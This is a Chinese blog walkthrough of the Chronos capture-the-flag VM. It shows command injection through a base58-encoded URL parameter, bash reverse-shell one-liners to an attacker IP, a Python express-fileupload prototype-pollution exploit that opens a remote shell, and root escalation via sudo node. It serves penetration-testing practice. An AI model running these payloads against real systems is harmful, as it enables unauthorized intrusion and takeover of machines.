• Chronos——中


    chronos靶机

    靶机导入virtualbox启动,或者vulhub貌似也可以搭建,网上搜一下教程 。

    0x00前置知识

    1、难度:中

    2、目标:取得2个flag+root权限

    3、涉及攻击方法:

    端口扫描、web侦查、命令注入、反弹shell、数据编解码、框架漏洞利用、代码审计、node和npm本地提权

    4、涉及工具:

    kali、namp、netdiscover、cyberchef(在线工具)

    0x01过程

    1、主机发现

    sudo netdiscover -r ip/24

    (1)发现靶机ip为:192.168.124.30

    (2)使用nmap扫描:

    (3)namp扫描具体服务:

     2、分析1

    (1)查看80端口以及源码等信息

     

    发现一段脚本:

    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

    粘贴在编辑器中进行分析:

    发现脚本都进行了编码处理,对代码进行整理、美化等操作。

     

     

    发现处理后的代码中依然不太好读,但有一段明文url:

     发现了8000端口,刚刚nmap也扫出来了8000端口,猜测这个url中的域名可能就是靶机的ip。配置一下host文件,将靶机ip指向这个域名。

    vim /etc/hosts

     

     

    绑定域名后刷新页面,发现页面出现变化。(还进行了目录扫描等操作,无发现)

      3、分析2

    刷新页面,burp抓包。

    发现有一个数据包中的user-agent字段与平常不太一样,说明该字段被人为更改。分析该数据包url中format参数。

    分析该数据包url中format参数。疑似base 58编码,在线解码:

    解码工具链接CTF在线工具-在线base58编码|在线base58解码|base58编码|base58解码|base58check

    发现是一串显示日期的命令,尝试执行该命令

     

    显示出日期,且该命令执行结果的格式和8000端口的前端页面显示的日期格式是相同的,说明8000端口前端日期通过执行该命令回显的,即此处有命令执行漏洞 

    3、漏洞利用

    尝试执行反弹shell(将shell进行base 58编码)

    🌟命令如下:

    | bash -c 'bash -i >& /dev/tcp/172.20.10.3/6666 0>&1'

    将命令编码后替换url 

     

    发送数据包,同时本地开启监听:nc -lvp 6666 

    //!!!关防火墙!!!!!

     

     4、内网渗透——提权

    提权三种思路:内核漏洞,suid权限配置不当,sudo权限配置不当 

    1)信息收集

    各种搜,大量查看当前文件、上层文件,再结合搜索引擎发现可以利用的漏洞

    通过查看当前主机的网络连接,发现还开放了8080 的端口,但刚刚端口扫描没扫出来,说明外网无法访问,然后各种搜索文件夹下文件内容,在service.js文件中发现该端口服务配置。

    且发现可能存在高危漏洞点的文件上传语句fileupload,百度查一下

     是一个文件上传的中间件函数,不知道这是啥函数不要紧,直接搜漏洞。

     但server.js文件中并没有版本信息,同目录下还有两个json文件,查看一下

     

    在package.json中发现express-upload版本信息,1.1.7,存在漏洞。

     kali中新建一个脚本文件:vim shell.py,写入代码:

    1. import requests
    2. ### commands to run on victim machine
    3. cmd = 'bash -c "bash -i &> /dev/tcp/kali的IP/8020 0>&1"'
    4. print("Starting Attack...")
    5. ### pollute
    6. requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    7. None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
    8. ### execute command
    9. requests.get('http://127.0.0.1:8080')
    10. print("Finished!")

    将文件shell.py放在/var/www/html文件夹下:sudo cp shell.py /var/www/html

    启动web:service apache2 start

     

    回到webshell中输入对应命令wget http://攻击机IP/shell.py

     

    python3 shell.py执行该文件,同时kali端监听端口8020 

     

     

    此时拿到了另一个用户imera的权限 ,例行查看一下文件,发现user文件,且能直接查看:

    base 58解不出来,base64可以,但是看不懂,估计是flag

     

    sudo -l查看发现node和npm可查看root权限文件。

    使用node和npm提权(参考:node | GTFOBins),查看发现root.txt文件,这里应该是另一个flag。

    sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

     

     over

     

  • 相关阅读:
    【无标题】后来,我认为王阳明比尼采,叔本华都高明
    Himall商城- web私有方法
    (上)苹果有开源,但又怎样呢?
    网络IP地址配置
    Frida安装到使用一目了然
    MSDC 4.3 接口规范(20)
    从私有Git仓库的搭建到命令的使用再到分支管理,全流程全套服务包您满意
    【HTML】HTLM网页设计----我的家乡,根据不同家乡更换名称,图片
    leetcode每日一练-第977题-有序数组的平方
    Google SGE 正在添加人工智能图像生成器,现已推出:从搜索中的生成式 AI 中获取灵感的新方法
  • 原文地址:https://blog.csdn.net/haoaaao/article/details/126297342